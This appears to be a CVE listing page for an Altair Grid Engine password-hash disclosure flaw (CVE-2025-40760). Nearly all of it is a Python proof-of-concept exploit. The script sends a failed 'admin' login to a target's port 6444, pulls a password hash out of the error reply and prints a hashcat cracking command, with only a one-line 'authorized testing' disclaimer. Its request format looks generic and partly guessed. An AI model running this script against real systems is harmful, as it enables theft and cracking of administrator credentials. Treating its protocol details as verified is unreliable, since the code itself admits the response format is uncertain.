CVE-2025-40760 | Altair Grid Engine 密码哈希信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-40760 PoC - Altair Grid Engine Password Hash Disclosure Note: This PoC demonstrates the vulnerability concept for authorized testing only. """ import socket import struct import hashlib def send_sge_request(sock, username, password): """Send authentication request to SGE qmaster""" # SGE authentication request format auth_request = bytearray() auth_request.extend(b'AUTH') # Request type auth_request.extend(struct.pack('>I', len(username))) auth_request.extend(username.encode('utf-8')) auth_request.extend(struct.pack('>I', len(password))) auth_request.extend(password.encode('utf-8')) sock.send(auth_request) return sock.recv(4096) def extract_hash_from_response(response): """Extract password hash from error response""" # The vulnerable response contains hash in error message if b'error' in response.lower(): # Parse hash from response (format varies by version) hash_start = response.find(b'hash:') if hash_start != -1: hash_data = response[hash_start:hash_start+64] return hash_data.decode('utf-8', errors='ignore') return None def exploit_cve_2025_40760(target_ip, target_port=6444): """ PoC for CVE-2025-40760: Altair Grid Engine Hash Disclosure """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) print(f'[*] Connected to {target_ip}:{target_port}') # Trigger authentication error to leak hash response = send_sge_request(sock, 'admin', 'wrongpassword') print(f'[*] Received response: {response.hex()}') # Extract hash from response password_hash = extract_hash_from_response(response) if password_hash: print(f'[+] Password hash extracted: {password_hash}') print(f'[+] Hash type: MD5/SHA1 (weak hashing algorithm)') print(f'[*] Use hashcat: hashcat -m 0 {password_hash} wordlist.txt') return password_hash else: print('[-] No hash found in response') return None except Exception as e: print(f'[-] Error: {e}') return None finally: sock.close() if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) exploit_cve_2025_40760(sys.argv[1])